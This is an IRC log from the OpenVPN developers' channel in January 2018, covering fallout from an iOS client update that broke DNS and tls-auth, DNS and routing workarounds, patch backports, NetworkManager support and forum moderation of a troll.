in my reply. Anyway, I don't think Ilya is going to complain 09:52 <@cron2> ordex: it got an ACK... 09:52 <@cron2> I saw your complaint, but I've decided to not wait for ilya 09:53 <@ordex> oh oky oky 09:53 <@ordex> I just wanted you to know that 09:53 <@ordex> I don't think it's really important for such a small change (not part of the code) 09:53 <@cron2> (I'm a bit more strict on code contributions... exactly :) ) 09:55 <@ordex> :) 09:58 <@syzzer> ordex: is it correct that you released a new iOS Connect version today? 09:58 <@ordex> syzzer: yes and we are already running behind the bugs 09:58 <@ordex> why ? 09:59 <@syzzer> because I'm also getting bug reports :p 09:59 <@syzzer> fails to connect against current openvpn-nl server apparently 09:59 <@cron2> oi 09:59 <@ordex> are you using p12 files to distribute the certificates? 09:59 <@ordex> or plain embedded configurations ? 10:00 <@syzzer> I'm not using anything, but some openvpn-nl users of mine are 10:00 <@syzzer> they report record-splitting-like errors, where TLS seems to connect, but no data channel is set up 10:00 <@syzzer> so I guess it's not pkcs12 10:01 <@ordex> mh no that sounds like something else 10:02 <@ordex> with this upgrade we moved to mbedTLS 2.6.0 and to the very recent ovpn3 core codebase 10:02 <@ordex> however, the log verbosity has been incresing quite a bit. if they/you could privde the log, that might already be quite helpful 10:02 <@syzzer> ordex: ok, I'll ask a bit further, thanks so far :) 10:03 <@ordex> np, I am sorry for the toubles caused, but this has been "quite an upgrade" 10:03 <@ordex> so we expected some issues .. 10:04 <@cron2> it's all mbedtls' fault 10:04 <@cron2> always 10:04 <@vpnHelper> RSS Update - gitrepo: Fix typo in error message: "optione" -> "option" <https://github.com/OpenVPN/openvpn/commit/f447bc63c3928fd9b71e3df3768900a328f4f41a> 10:05 <@ordex> :P I'd like to say so 10:07 <@cron2> syzzer: buffer_list_aggregate_separator(): update list size after aggregating 10:07 <@cron2> is that a bugfix or refactoring? 10:07 <@cron2> (in other words, do you want it in 2.4?) 10:12 <@syzzer> cron2: it's a bugfix, but without real-world effects 10:13 <@syzzer> I'd still backport it to 2.4 though 10:15 <@cron2> ok... test running 10:23 <@ecrist> cron2: what did I do? 10:25 <@cron2> ecrist: rebooted phillip 10:25 <@cron2> (so the test servers were not running and I got bombed with buildbot failures) 10:25 <@ecrist> cron2: that wasn't me, it was the host. If you'd like to complain, please reference Meltdown (aka fuck intel) or Spectre (aka fuck everything) 10:26 <@cron2> yeah. We're having fun with that one, too... 10:26 <@ecrist> If I was going to reboot a box, I'd warn you. 10:26 <@cron2> PASS: buffer_testdriver 10:30 <@syzzer> \o/ 10:30 <@syzzer> wow, lots of commit 10:30 <@syzzer> s 10:31 <@vpnHelper> RSS Update - gitrepo: buffer_list_aggregate_separator(): update list size after aggregating <https://github.com/OpenVPN/openvpn/commit/463afdf57c52891936b9a856e1030b7ebc55e75c> 10:34 <@syzzer> ordex: regarding the HMAC thread (which might also be what this guy calling me is hitting, I'm still waiting for logs): that *is* tls-auth/crypt 10:34 <@syzzer> "TLS Error: incoming packet authentication failed from [AF_INET]xx:yy" is only printed if that fails 10:34 <@ordex> syzzer: mh 100% sure ? because that message comes from openvpn_encrypt() 10:34 <@ordex> ah 10:34 <@syzzer> could it be that the new app is not using --auth for the tls-auth digest? 10:35 <@syzzer> so is is trying to verify using HMAC-SHA1, while it should be using HMAC-SHA512 in the OP's case 10:35 <@ordex> uhm...tls-auth used to work properly .. unless I broke it 10:35 <@ordex> this is not true for tls-crypt, right ? 10:36 <@syzzer> it's just a wild guess 10:36 <@ordex> there the auth algo is fixed, right ? 10:36 <@syzzer> ordex: no, not true for tls-crypt 10:36 <@syzzer> good point 10:36 <@ordex> ok 10:36 <@ordex> I am pretty sure I haven't touched that part, but I will test locally 10:37 <@ordex> honestly I don't think i will reply on the forum any longer - it is getting wild 10:37 <@syzzer> ordex: yeah, can imagine 10:40 <@ordex> btw we are forgetting the most important thing 10:40 <@ordex> yayyy commits!!!! ehe though vpnHelper hasn't seen them yet :P 10:40 <@ordex> *even 12:10 <@ordex> does anybody know what is the expected behaviour when "redirect-private def1" is used 12:10 <@ordex> I know redirect-private is used with subnets..but why def1 ? 12:40 < pekster> Override without wiping out the pre-existing default gateway via /1 CIDR routes 12:40 < pekster> There are advantages to not having to worry about replacing the default gateway, especially in cases where that information is subject to change with a DHCP client, among other possible reasons 12:42 < pekster> Though.. is that effectively implying --redirect-gateway def1? Just there to keep the syntax similar? 12:44 < pekster> help output isn't very descriptive. One wouldn't normally need to set a static route to the remote endpoint unless the pushed (private) subnet both overlapped the original gateway _and_ was also more specific, yet this is what --redirect-gateway does 12:45 < pekster> Handling is indeed identical (options.c:6272) 12:47 < pekster> So, for example, perhaps that's useful if a client is on 203.0.113.0/24 routing via .1, and the server wishes to push a route for 203.0.113.0/25. Seems like rather silly edge-case though 14:40 <@vpnHelper> RSS Update - gitrepo: buffer_list_aggregate_separator(): don't exceed max_len <https://github.com/OpenVPN/openvpn/commit/fb6138dd32cf01922d7ef670d502148596511268> 20:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 20:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:56 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:29 <@ordex> there is a moderated post in https://forums.openvpn.net/viewtopic.php?f=36&t=25587&start=40 - please do not accept it right now 21:29 <@vpnHelper> Title: Upgrade to OpenVPN 1.2.5 (iOS): issues - Page 3 - OpenVPN Support Forum (at forums.openvpn.net) 23:07 -!- Crazy_Hopp is now known as Crazy_Hopper --- Day changed Wed Jan 10 2018 02:10 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:10 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:10 <@mattock_> meeting today? 02:17 <@cron2> that's what I was asking you yesterday :) 02:17 <@cron2> I could make it 02:18 <@syzzer> +1 02:18 <@cron2> I do not have particular topics, and I'm @ work, so "patch review" is not something I can usefully do here 02:18 <@mattock_> ok, I'll create the topic page 02:19 <@mattock_> I'm at semi-holiday 02:19 <@cron2> lucky you 02:20 <@syzzer> cron2: did you manage to do some snowboarding over christmas/ny? 02:21 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 02:21 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:21 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:23 <@cron2> not really... $kid[0] did a bit of snowboard-trialling on a local hill and I played the skilift and carried the board back up... :-) (about two hours, and then it started raining for good, and then the snow was gone again) 02:23 <@cron2> but hopefully one of the next weekends 02:26 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 02:32 <@syzzer> cron2: hehe, at least there was some snow fun involved! :D 02:36 * ordex is underwater but I can join the meeting too 02:41 <@syzzer> FYI: I just updated the applied patches' status on patchwork 02:42 <@ordex> thanks :) 02:44 <@cron2> syzzer: yeah, it was fun indeed ;-) - and thanks for patchworkign 02:45 <@cron2> that was on my agenda for "when I'm through with the obvious list" 03:19 <@cron2> mmmh 03:19 <@cron2> my first "I have updated the iOS client and it DOES NOT WORK anymore!!!" 03:20 <@cron2> (ofc not a very helpful report...) 03:21 <@cron2> "e-mails from exchange stopped working", which could hint at "DNS foobar" 03:26 <@mattock> has patchwork behaved well recently? 03:28 <@cron2> ordex: yeah. DNS is not working, as in "I push internal DNS info, and the clients complain that internal host names cannot be resolved" 03:29 <@ordex> yeah 03:29 <@ordex> already reported and just fixed 03:29 <@ordex> the next release will ship the fix 03:29 <@ordex> again the Apple API bug. DNS do not work if you do not explicitly add a route for them, even though they are in the VPN subnet .. 03:31 <@ordex> cron2: ^ 03:50 <@cron2> what? 03:51 <@cron2> so you just "push route 172.30.1.1 255.255.255.255" and that makes "dns 172.30.1.1" work again? 03:51 <@ordex> likely 03:51 <@cron2> what changed wrt Apple API? 03:51 <@ordex> we are using a new API and for some reason I thought this bug was fixed 03:51 <@cron2> aah! 03:52 <@ordex> can you check if just by adding that config line it works again? it should, because the fix is basically the same, just done implicitly 03:53 <@cron2> ordex: working on it 03:54 <@ordex> thanks 03:54 <@cron2> I don't have any iDevice with me, but I changed $customer server config to push the route and asked colleague there to re-test 03:54 <@ordex> ok 03:55 <@ordex> it may yet not work, because there was also another glitch being fixed by my patch 03:55 <@ordex> but if it does, I can suggest that as workaround on the forum for the others in the meantime 03:57 <@cron2> does IPv6 DNS work? 03:57 * cron2 wonders what alternatives I have if that doesn't work and $boss cannot have her e-mails on her phone 03:57 <@cron2> (which is a worse problem than anything else) 03:57 <@cron2> unfortunately, she upgraded as well this morning... 03:58 <@ordex> somebody posted a link with instructions for a manual downgrade 03:58 <@cron2> umm. which forum? forums.openvpn.net? 03:58 <@ordex> IPv6 DNS...not sure if that has the same bug..unfortunately not many people uses ipv6 03:58 <@ordex> yes 03:58 <@ordex> in the mess 03:58 <@ordex> wait a sec, I cna pick the post for you 03:59 <@cron2> thanks 03:59 <@ordex> cron2: https://forums.openvpn.net/viewtopic.php?f=36&t=25587&start=40#p75673 03:59 <@vpnHelper> Title: Upgrade to OpenVPN 1.2.5 (iOS): issues - Page 3 - OpenVPN Support Forum (at forums.openvpn.net) 03:59 <@cron2> thanks 03:59 <@ordex> but I haven't follow it, nor I know what it is about 03:59 <@ordex> np 04:00 <@cron2> meh 04:00 <@cron2> does not work 04:00 <@ordex> another option it to enable gateway-redirect 04:00 <@ordex> *is 04:00 <@ordex> not sure you can live with that for now ? 04:00 <@cron2> I would prefer to not do that 04:00 <@cron2> let me test DNS first 04:01 <@ordex> ok 04:01 <@cron2> syntax should be "dhcp-option DNS6 2001:608:..." right? 04:02 <@ordex> let me check 04:03 <@ordex> no DNS6 exists in the ovpn3 codebase :( 04:04 <@cron2> argh 04:06 <@cron2> ordex: 94bfc256d4e96e6e91fa5a518352d758c09800f3 04:06 <@cron2> please be implementing that for openvpn3 :-) 04:07 <@ordex> yeah 04:07 <@ordex> :) 04:07 <@ordex> will open a ticket for that 04:07 <@cron2> ok, trying "redirect-gateway def1 ipv6" next 04:18 <@cron2> ok, redirect-gateway works 04:18 <@cron2> we can do that for the time being... 04:23 <@ordex> cron2: thanks. and sorry 04:23 <@ordex> so many changes, it has not been easy to catch them all until we had people using all the configurations out there :( 05:18 <@ordex> syzzer: what happens when in tls-auth no key direction is specified on both sides? they decide the direction based on the mode? client vs server ? 05:19 <@ordex> I think this is what is causing the tls-auth bug: people are not using key directions and ovpn3 might be doing something different compared to openvpn2 05:19 <@ordex> but I have to verify 05:30 <@ordex> yeah 05:51 <@syzzer> ordex: no key direction means both directions use the same key 05:51 <@syzzer> that is, same part of the key, so the same HMAC key 05:51 <@ordex> oh 05:52 <@ordex> why is that allowed? 05:52 <@ordex> I mean, it is bad, no? because we have double the amount of traffic auth'd with that key 05:52 <@syzzer> dunno, but since it's bad for both the crypto *and* UX, I removed it for tls-crypt :) 05:52 <@ordex> ;) 05:53 <@syzzer> the tls-auth crypto won't break because of that, btw. 05:53 <@ordex> yeah 05:53 <@syzzer> it's just a bad idea in general 05:53 <@ordex> yap 05:53 <@ordex> oky! 05:53 <@ordex> thanks 05:53 <@plaisthos> cron2: I already have a pull request for that in openvpn3! 05:56 <@plaisthos> I think that comes from the early times when there was only p2p and no server/client designation 05:56 <@plaisthos> cron2: at the moment you have to push DNS ipv6 for openvpn3 and DNS6 for openvpn2 05:59 <@ordex> cron2: have you tried DNS ipv6 on openvpn? so it just works with both ? 06:02 <@plaisthos> openvpn2 does not like dns ipv6 06:02 <@plaisthos> pretty sure about that 06:12 < tincantech> ordex: hell of a day for you ;) -- is it not possible to have two versions of the app on app-store ? 06:14 <@ordex> no 06:14 < tincantech> how do you go about testing .. 06:15 <@ordex> what do you mean ? 06:15 < tincantech> could you not release a pre-release for testing ? 06:16 < tincantech> and then intellegent ppl can test it first .. 06:16 <@ordex> has been out for months already 06:16 < tincantech> so ppl can install it without using app-store ? 06:17 < tincantech> if so why not have a massive ad campiagn to get ppl to try it first 06:17 < tincantech> mailing list forum etc .. 06:17 <@ordex> well, we don't want every random person to test it and shoot random emails at us 06:17 < tincantech> better that than this fiasco 06:17 <@ordex> probably we can extend the group, that's true 06:18 <@ordex> maybe 06:18 <@ordex> but that's not something we can finx now :) 06:18 < tincantech> i am not going to piss you off with questions .. but it seems to me a better process should be thought out in future 06:20 <@ordex> you think so? 06:20 <@ordex> :p 06:21 < tincantech> this iOS bomb is the hottest topic i ever saw on the forum .. so i think it could have been done better 06:22 <@ordex> sure, I could have been superman too 06:22 <@ordex> :D 06:22 < tincantech> if you have a mass ad on the ML etc asking for testers then make it clear it could break but at least there is a garunteed way to roll back 06:23 <@ordex> sure 06:23 <@ordex> not sure why you think I did not think about all those options 06:23 <@ordex> anyway, I don't want to argue 06:23 < tincantech> i am not critisizing (at least i dont mean to) but what a day ! 06:23 < tincantech> :) 06:23 < tincantech> most annoyingly .. i could not help at all 06:24 <@ordex> yeah..maybe that's something to observe: I have not given up yet 06:25 <@ordex> :p 06:26 < tincantech> if there *is* anything i can do to help just ask :) 06:27 < tincantech> just curious .. can't you pull 1.2.5 from the store ? 06:27 <@ordex> no 07:08 < tincantech> ordex: is this actually true, can you select a different package by modifying the packet : https://forums.openvpn.net/viewtopic.php?f=36&t=25587&p=75711#p75711 07:08 <@vpnHelper> Title: Upgrade to OpenVPN 1.2.5 (iOS): issues - Page 4 - OpenVPN Support Forum (at forums.openvpn.net) 07:08 < tincantech> is the old package available like that ? 07:08 <@ordex> I have no clue 07:09 <@ordex> sounds like a way to hack the AppStore request 07:09 < tincantech> is the old package still on app-store ? 07:09 <@ordex> I don't know if they store it. I have only one release in my screen 07:09 <@ordex> (the current one) 07:10 < tincantech> maybe ask apple and see if they know 07:10 < tincantech> otherwise i think we should delete that "advise" 07:11 <@ordex> well, they are free to do what they want 07:11 <@ordex> nobody has recommended that method or supported it 07:11 <@ordex> it's just an information they exchanged 07:11 <@ordex> no? 07:12 <@ordex> if they can stick to 1.1.1 with this weird method, why preventing them from doing it ? 07:12 < tincantech> the key point being .. *if* .. well, it's your mess, I will butt out ;) 07:13 <@ordex> what I am saying is: they are just telling things to each other. When I was asked I said that there is no way for us to roll them back or push them back to 1.1.1 07:13 <@ordex> if they want to try on their own, let them do 07:14 <@ordex> if thatbreaks something else .. that's their fault :P 07:14 <@ordex> I mean, this info is available anywhere anyway 07:15 < tincantech> if this were openvpn communtity edition i would agree .. but not with an official product 07:15 < tincantech> but that is your decision 07:17 <@plaisthos> tincantech: apple makes the rules 07:18 <@plaisthos> tincantech: and that the move to a new API screwed things ups is not good, but unforetnately there is no way going back now 07:18 < tincantech> plaisthos: that is not what that post claims 07:18 <@plaisthos> tincantech: btw. Android also does not allow you to go back to an earlier version. All you can do there is to upload a "new version" that is actually an older version 07:19 <@plaisthos> tincantech: yeah, locally with iTunes 07:19 < tincantech> either way .. it is not my business .. i just thought it worth a mention 07:19 <@plaisthos> but that does not change the fact that you cannot downgrade via app store 07:27 < tincantech> the reason I brought it to ordex' attention is because I don't like to see outright lies on the forum .. if this were an ovpn-CE board I would delete or refute it. 07:30 <@ordex> syzzer: have you seen this: https://forums.openvpn.net/viewtopic.php?f=36&t=25603 ? 07:30 <@vpnHelper> Title: ECDHE Support? TLS error: no TLS ciphersuites in common - OpenVPN Support Forum (at forums.openvpn.net) 07:43 <@syzzer> ordex: no, I hadn't, but I don't have any immediate ideas either 07:44 <@ordex> oky 07:44 <@syzzer> Only thing I can think of is that one of the certs uses a curve that's not supported by one of both sides 07:46 <@ordex> oh ok 07:46 <@ordex> so the message is about the ciphersuite but it may actually be deeper than that .. ok 07:46 <@ordex> will check, thanks for the hint! 07:47 <@syzzer> yeah, that message can be a bit misleading 07:58 <@plaisthos> OpenSSL would be proud of that error message *ducks* 07:58 <@plaisthos> but yeah ciphersuites get removed for non obvious reasons 08:13 < Hes> Seems like the intel Meltdown workarounds in new Linux kernels kill openvpn userspace performance, by ~50% for example, if PCID instructions are not available on the CPU. In many virtualisation environments the virtualisation configs (ESX compatibility level for example) needs to be bumped to make PCID visible. 08:14 < Hes> i.e. the CPU might have it, but the VM might not see it, until ESX or qemu or something is configured to make it available. With PCID the impact isn't too bad. 08:22 <@plaisthos> pcid is also only for cpus newer than haswell iirc 08:23 <@plaisthos> or rather the INVPCID instruction 08:40 <@ordex> ecrist: tincantech: how do you deal with trolls? for example like this: https://forums.openvpn.net/viewtopic.php?f=36&t=25598&start=20#p75738 ? 08:40 <@vpnHelper> Title: Upgrade to OpenVPN 1.2.5 (iOS): DNS settings not applied - Page 2 - OpenVPN Support Forum (at forums.openvpn.net) 08:40 <@ordex> this is just the last message of him 09:01 < tincantech> ordex: on phone atm 09:01 < tincantech> give me a mo 09:02 <@ordex> sure 09:02 <@ordex> he has been playing like this for a while already 09:16 <@ecrist> ordex: are you referring to ahx-fos? 09:16 <@ordex> yes 09:17 <@ordex> you can search his other messages is you need 09:17 <@ecrist> yeah, I already did 09:19 <@ecrist> ordex: I've issued a 7 day forum ban for the user. 09:19 <@ecrist> The following reason was provided: 09:19 <@ecrist> You have a temporary 7 day ban starting 2018-01-10. In future posts, please be kind and provide constructive content. There is nothing useful in your post history. 09:20 <@ordex> thanks 09:20 <@ordex> should/can I edit old messages? or shall we leave them as they are ? 09:20 <@ecrist> regarding moderation, do anything you feel is appropriate. If there is something you are worried is out of line, feel free to run it by me. 09:21 <@ecrist> As long as what you do is in good faith, I will back you up. 09:21 <@ecrist> If push comes to shove, I don't mind being an asshole. ;) 09:21 <@ordex> :D 09:22 <@ecrist> Let's leave them as they are. Their content backs up this action. I generally only remove *very* offensive content, or content that is spammy or borderline illegal. 09:22 <@ordex> oky 09:23 <@ordex> sounds good, thanks ! 09:23 <@ecrist> Also, when you see that stuff, you can "warn" the user 09:23 <@ecrist> After they get three warnings, the system will automatically set a temporary ban. 09:23 <@ecrist> And warnings will age themselves out over time. 09:24 <@ordex> oh ok 09:24 <@ordex> I can warn with one of the icons on top of their posts? 09:33 < tincantech> ordex: this is my take on this particular problem .. the fact is the app is broken and people are upset .. that does not mean they get to behave like assholes but then again they do .. i would simply ignore it and get on with the important stuff of fixing the app 09:34 < tincantech> if someone gets completely out of line ecrist dazo mattock or me are regulars to the forum and will have an idea 09:34 <@ordex> yeah, that's what I am doing. but when it gets beyond the respect threshold, it is not an app or fix or bug problem anymore :-P 09:34 <@ordex> yup 09:35 < tincantech> like i said .. you ignore it and i can field it for you :) 09:35 <@ordex> :) 09:35 < tincantech> i already had an argument with that ahx-fos 09:37 < tincantech> ordex: on this occasion also, because you are the dev and have taken an active roll on the forum i don't want to step on your toes .. so i have been keeping qquiet on it .. but i have read every post making sure nobody got too offensive .. 09:37 <@ordex> ehehok 09:37 <@ordex> thanks 09:37 < tincantech> i mean "too offensive in my opinion" .. but there's a big margin on opinions ;) 09:39 <@plaisthos> ordex: watch out, ahx-fos will make you lose your job1 09:39 < tincantech> ordex: lastly .. when i really don't know what to do on a forum post i send an email to ecrist dazo and mattock fasking for advice .. they always helped me in the past 09:39 <@cron2> plaisthos: scary. Next thing he'll want his MONEY BACK! 09:39 <@ordex> plaisthos: :D 09:40 <@ordex> tincantech: yeah that's why I highlighted you and ecrist earlier 09:40 <@plaisthos> lzo has overdone its cmake script 09:40 <@plaisthos> it combines the disadvantages of cmake and configure 09:41 <@cron2> cmake calling configure to build a new CMakeList? 09:41 < tincantech> ordex: also, you can just delete posts you don't like (fill in the reason field) it is only soft delete so can be re-instated if needed ;) 09:42 <@plaisthos> cron2: nah compiling zillions of small programs 09:42 < tincantech> ordex: check that with ecrist .. you may have higher privs than me 09:42 <@plaisthos> for features it needs anyway, I never seen that before in cmake build scripts 09:44 <@ecrist> tincantech: all moderators have the same privileges. 09:44 < tincantech> ok 09:44 <@cron2> plaisthos: like half the autoconf scripts - "because I can!" 09:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 09:57 <@dazo> tincantech: telling people to not use NetworkManager will not work. Linux depends heavily on it these days, regardless of if you like it or not. And this is one of the big annoyances with openvpn2 on Linux as well, it does not know how to handle a more advanced network configuration management implementation 09:57 <@dazo> (long gone is the time where networking was simple and static) 10:02 <@ordex> dazo: this begs another question: should we put some effor tin improving the openvpn2 nem plugin ? 10:02 <@ordex> *nm 10:05 <@dazo> hmmm .... I've looked at that code a few years ago ... and figured it's too much work :-P 10:07 <@ordex> aha 10:07 <@cron2> I think for NM setups, ovpn3 is the way to go 10:07 <@dazo> Actually, the whole NM plug-in would most likely need a massive re-write to interact more smoothly with openvpn2 .... And to be honest, I think I would prefer putting that efforts into openvpn3-linux instead, which can do the same job easier and more saner 10:07 <@ordex> yeah, +1 cron2 10:07 <@cron2> less words :) 10:07 <@dazo> :-P 10:07 <@ordex> eheh 10:07 <@ordex> the ovpn3 modularity matches better the desktop architecture and nm I think 10:08 <@ordex> anyway 10:08 <@ordex> we all agreed I think :D 10:08 <@dazo> :D 10:08 <@ecrist> network manager sucks 10:08 <@ecrist> but not as much as systemd 10:08 <@ecrist> Long Live FreeBSD! 10:08 * ecrist drives around the arena, standing in the back of a monster truck, shooting his guns in the air 10:09 <@ecrist> also, the metric system is for commies 10:09 < tincantech> dazo: in the words of pekster "We Don't Support Network-Manager .. don't use it!" 10:09 <@dazo> yupp ... just what I thought .... BSD are for rednecks .... 10:09 <@dazo> tincantech: okay, that's just a bad starting point 10:10 <@ecrist> tincantech: that's the stance of the support channel 10:10 <@ecrist> because the current plugin sucks 10:10 <@dazo> (and to be honest, it was true 6-7 years ago .... now it is actually reasonable good to work with ... still not perfect, but works reasonably well) 10:10 < tincantech> dazo: which thread was that pfrom please ? 10:11 <@dazo> tincantech: ecrist: then you're using an old network manager .... 10:11 <@dazo> beh 10:11 <@dazo> tincantech: https://forums.openvpn.net/viewtopic.php?p=75321#p75321 10:11 <@vpnHelper> Title: Debian 9 - Tunnel Interface Not Found - New Install - OpenVPN Support Forum (at forums.openvpn.net) 10:11 < tincantech> thanks .. 10:11 <@ecrist> most of the reason for not supporting network manager isn't so much network manager's fault (it is), but more that troubleshooting actual openvpn problems gets clouded by network manager/GUI complexity 10:12 <@ecrist> i.e. let's make sure your plain ol' openvpn works first before we hide it behind XYZ GUI 10:12 <@dazo> ahh, that I can agree too ... it doesn't support --verb and --log/--log-append ... that's actually something which could be fixed without too much work 10:13 <@dazo> I'll try to get thaller to join this channel ... he's the upstream nm-openvpn plug-in maintainer, iirc 10:13 < tincantech> dazo: i have been using linux desktop for a few years now (not an expert by any means) but the one thing I did disable after trying to use it was NM .. and it still loads at system boot .. I cant get rid of it completely .. but *all* my networking is configured by me alone because NM frustrated the crap out of me 10:14 <@dazo> tincantech: play around with nmcli .... and in particular "nmcli edit" ... it's a bit weird in the beginning, but you'll have even more power of the config setup there than anywhere else 10:14 <@dazo> (nmcli edit even has a verify command, which tells you what might be wrong) 10:14 < tincantech> dazo: thanks but no thanks ;) 10:16 <@dazo> "nmcli con edit" it is, always forget this 'con' 10:18 < tincantech> dazo: WRT that post .. if NM was taken out of the equation and then openvpn worked as expected that would point (at least indirectly) to a problem with NM .. perhaps I was a bit short on that particular reply (you are welcome to improve it) but since there has not been a further reply i am inclined to believe the problem is gone 10:21 <@dazo> I'm not saying NM never causes problems, and in particular with openvpn2 when not started via NM .... but not using NM is not really a good user experience on many other aspects - especially if you're using Linux on a laptop where you change networks frequently 10:23 < tincantech> dazo: I do not disagree with you .. but I only support what I know and I don't know NM. 10:24 < tincantech> I also agree with ecrist .. taking things out of the equation (eg. NM in this case) is a valid support option 10:25 < tincantech> actually I do support things I don't know and usually learn from the experience ;) 10:31 <@dazo> NM is not into the equation here. The poster has issues with something not happening when starting an openvpn server configuration via systemctl 10:34 <@ecrist> which brings in systemd (aka "The Devil") 10:34 * ecrist </troll> 10:35 < tincantech> I'll wait for a reply from the OP .. 10:43 < tincantech> dazo: I am going to edit that post to use <code> instead of <oconf> for logs .. but FYI, there is not a single openvpn --log file included so far (and verb 4 is already set in the OP's config) -- in my head when somebody does not post the right details I tend to assume *troll* or just waste of time .. hense the now 23K+ views of my "Howto ask for help" thread 11:05 <@dazo> So while I define this to be more like the future of cars ... https://i.ytimg.com/vi/jh3KWDHlFi0/maxresdefault.jpg .... ecrist seems to call this being a good car: https://ksr-ugc.imgix.net/assets/011/670/590/86d192510c5a4e4df7081474ee04d1f2_original.jpg?crop=faces&w=1552&h=873&fit=crop&v=1463686571&auto=format&q=92&s=759638a8260d4dce4387cfcc28480e83 ...... 11:05 * dazo </troll> 11:06 <@cron2> hey, that's a really nice colour, and runs on fully renewable energy 11:06 <@cron2> and if it breaks down you can eat parts as well 11:06 <@dazo> lol! 11:06 * cron2 likes Citroen 2CV (had a red one as my first car) 11:06 <@cron2> yours might be a bit faster, but is bad for my back :) 11:07 <@dazo> if you put two more horses in front of that green 2CV ... it would probably have more horse powers than the original 2CV :-P 11:07 * dazo ducks 11:07 <@cron2> well, the last series they build had 27HP, I think 11:08 <@dazo> hehe 11:09 <@dazo> There's an urban legend in Norway that the police in here in the 70s got a few special ordered 2CVs with enforced chassis and a 80HP engine ... and used it as a civilian police car to catch people driving too fast on the motor ways :-P 11:10 <@dazo> wtf!?!? https://i.pinimg.com/736x/1a/1d/bc/1a1dbcecf7e2bf633209b53ca22a6b1e.jpg 11:12 <@cron2> lol 11:30 < tincantech> looks like ahx-fos has re-registered as oat_bondman .. 11:30 < tincantech> https://forums.openvpn.net/viewtopic.php?f=36&t=25598&p=75764#p75764 11:30 <@vpnHelper> Title: Upgrade to OpenVPN 1.2.5 (iOS): DNS settings not applied - Page 2 - OpenVPN Support Forum (at forums.openvpn.net) 11:31 < tincantech> ordex: you still awake ? 11:34 < tincantech> ecrist: ^ 11:47 <@ecrist> I am 11:48 < tincantech> ecrist: i hope this helps https://forums.openvpn.net/viewtopic.php?f=36&t=25587&p=75768#p75768 11:48 <@vpnHelper> Title: Upgrade to OpenVPN 1.2.5 (iOS): issues - Page 5 - OpenVPN Support Forum (at forums.openvpn.net) 11:48 < tincantech> edit delete or whatever 11:58 <@ecrist> looks fine to me 11:58 < tincantech> thanks ;) 11:59 < tincantech> The threat is now ubundantly clear so if it happens again .. the hammer will fall 11:59 <@ecrist> just start using the warning system 11:59 < tincantech> sure 12:03 < tincantech> done 12:17 <@dazo> tincantech: I am removing your last post to the Debian 9 thread ... you ask a user to change configurations in areas you claim to have no real knowledge (NetworkManager) .... this is hazardous and can break the users system even more 12:19 <@dazo> Before going any of those paths ... we need to see proper openvpn log files first. 12:20 <@dazo> In reasonably new stock Linux distros, NetworkManager itself does not necessarily cause issues. But the errors and warnings may be misleading when not seeing the whole picture, which can be provided by openvpn logs 12:24 < tincantech> dazo: ok 12:25 < tincantech> thanks for letting me know why ;) 12:25 <@dazo> yw! 12:26 < tincantech> it looks like everybody has gone down the pub 'cos the forum has gone silent .. looking forward to the drunken rants to follow ;) 12:26 * tincantech is thirsty 12:58 < tincantech> dazo: oat_bondman = oat_bannedman 13:19 <@cron2> The Buildbot working for 'OpenVPN' 13:19 <@cron2> has noticed that the buildslave named slave-plaisthos-macosx-amd64 went away 13:19 <@cron2> The admin on record (as reported by BUILDSLAVE:info/admin) 13:19 <@cron2> was 'Your Name Here <admin@youraddress.invalid>'. --- Log opened Thu Jan 11 09:05:26 2018 09:05 -!- Irssi: #openvpn-devel: Total of 28 nicks [6 ops, 0 halfops, 1 voices, 21 normal] 09:05 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:05 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 09:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:07 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:11 <@vpnHelper> RSS Update - tickets: #538: no PIN prompt with PKCS11 when systemd is enabled <https://community.openvpn.net/openvpn/ticket/538> || #399: Issue with register-dns in Windows 8.1 <https://community.openvpn.net/openvpn/ticket/399> || #554: Add support for partial TLS record reads (i.e. support 1/n-1 record splitting) <https://community.openvpn.net/openvpn/ticket/554> || #342: Cannot connect to VPN from Linux by using ikey3000 token < 09:37 <@vpnHelper> RSS Update - gitrepo: ssl_openssl: fix compiler warning by removing getbio() wrapper <https://github.com/OpenVPN/openvpn/commit/006d6a57b8835c15222359bfb42c95005723394c> || Fix types around buffer_list_push(_data) <https://github.com/OpenVPN/openvpn/commit/b395f36e578b2def9da8e9347c0afa79814c0c7d> || buffer_list_aggregate_separator(): prevent 0-byte malloc <https://github.com/OpenVPN/openvpn/commit/748902f46260fe11cb25726d2bf93bb06a 09:38 * dazo runs out again ... back again late in the evening 09:38 <@cron2> whee, vpnhelper back alive 10:21 <@ordex> wheee 10:24 <@ecrist> yeah, my VPS provider has been rebooting VMs 10:24 <@ecrist> irritating 12:16 < tincantech> ecrist: easyrsa303 for windows .. irritating (testing spaces in path names) 13:06 <@ecrist> tincantech: yeah 13:10 <@mattock> we need to rewrite easyrsa3 in powershell and then port it to *NIX 13:10 <@mattock> :P 13:10 <@ecrist> heh 13:31 < tincantech> i wonder if spaces in path names is why windows changed "\documents and Settings" to "\users" ;) 13:45 <@ecrist> whether Windows likes it or not, they've started to smarten up and embrace the Linux/Unix stuff. I've been pleased by some of the changes they've been making. 13:45 <@ecrist> I'm guessing Users is much easier to deal with considering their added Bash/Linux support. 14:04 < tincantech> you traitor ! 14:04 < tincantech> i thought you was all bsd mot windblows :D 14:05 < tincantech> spaces should be banned in filder and file names .. then it is done 15:53 <@cron2> spaces are bad, but non-ASCII characters are amazingly evil (ISO-8859 vs. UTF-8 vs. UCS-16...) 15:54 <@cron2> like, if you do an NFSv4 export from one FreeBSD machine to another, and have file names with ISO characters (not UTF-8), the NFS client will not be able to access those 